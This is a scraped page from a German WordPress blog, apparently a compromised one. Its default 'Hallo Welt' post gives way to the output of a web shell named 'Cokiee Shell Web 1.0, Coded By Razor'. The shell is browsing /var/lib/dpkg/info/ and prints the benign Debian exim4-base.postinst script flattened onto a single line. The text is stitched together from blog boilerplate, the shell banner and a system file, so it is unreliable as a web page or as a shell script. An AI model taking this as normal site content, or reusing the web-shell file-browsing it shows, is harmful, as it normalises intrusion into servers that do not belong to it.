Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /var/lib/dpkg/info/ |
Current File : //var/lib/dpkg/info/exim4-base.postinst |
#!/bin/sh set -e . /usr/share/debconf/confmodule if [ -n "$EX4DEBUG" ]; then echo "now debugging $0 $@" set -x fi db_version 2.0 case "$1" in configure) if ! getent passwd Debian-exim > /dev/null ; then echo 'Adding system-user for exim (v4)' 1>&2 adduser --system --group --quiet --home /var/spool/exim4 \ --no-create-home --disabled-login --force-badname Debian-exim fi # Create directories for log etc # install also fixes permissions. install -d -oDebian-exim -gadm -m2750 /var/log/exim4 install -d -oDebian-exim -gDebian-exim -m750 /var/run/exim4 install -d -oDebian-exim -gDebian-exim -m750 /var/spool/exim4 install -d -oDebian-exim -gDebian-exim -m750 /var/spool/exim4/db \ /var/spool/exim4/input /var/spool/exim4/msglog # Make sure that db files are owned by Debian-exim:Debian-exim find /var/spool/exim4/db/ -type f -print0 |\ xargs -0 -r chown Debian-exim:Debian-exim # fix permissions on upgrades if dpkg --compare-versions "$2" le "4.30-1" ; then find /var/log/exim4 /var/spool/exim4 -group mail \ \( -type f -or -type d \) -print0 | \ xargs -0r chgrp Debian-exim find /var/log/exim4 /var/spool/exim4 -user mail \ \( -type f -or -type d \) -print0 | \ xargs -0r chown Debian-exim fi # Paranoia check: On upgrades from db3-versions throw away hints # databases. if dpkg --compare-versions "$2" '<=' "4.71-2" ; then rm -f /var/spool/exim4/db/misc-* /var/spool/exim4/db/wait-* \ /var/spool/exim4/db/callout* \ /var/spool/exim4/db/retry* \ /var/spool/exim4/db/__db.retry \ /var/spool/exim4/db/__db.misc* \ /var/spool/exim4/db/__db.callout \ /var/spool/exim4/db/__db.wait* \ /var/spool/exim4/db/log.* fi # Check that db files are readable by this Exim's db library dbfiles="" for f in /var/spool/exim4/db/misc-* /var/spool/exim4/db/wait-* \ /var/spool/exim4/db/callout* /var/spool/exim4/db/retry*; do if [ -f "$f" ]; then if echo $f | grep \.lockfile\$ >/dev/null 2>&1; then : # ignore lock files else dbfiles="$dbfiles $(basename $f)" fi fi done for dbfile in $dbfiles; do if exim_dumpdb /var/spool/exim4 $dbfile >/dev/null 2>&1; then : # File OK else echo "Resetting invalid $dbfile hints db" 1>&2 rm -f /var/spool/exim4/db/$dbfile /var/spool/exim4/db/$dbfile.* \ /var/spool/exim4/db/log.* fi done if [ -x "/etc/init.d/exim4" ]; then update-rc.d exim4 defaults >/dev/null fi # honor dpkg-statoverride settings for files not managed with dpkg for pat in /var/\*/exim4 /var/\*/exim4/\*; do [ $EX4DEBUG ] && eval echo "evaluate statoverride $pat" eval dpkg-statoverride --list $pat | while read USER GROUP MODE FILE; do [ $EX4DEBUG ] && echo "statoverride $USER $GROUP $MODE $FILE" chown ${USER}:${GROUP} $FILE chmod $MODE $FILE done done ;; esac
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare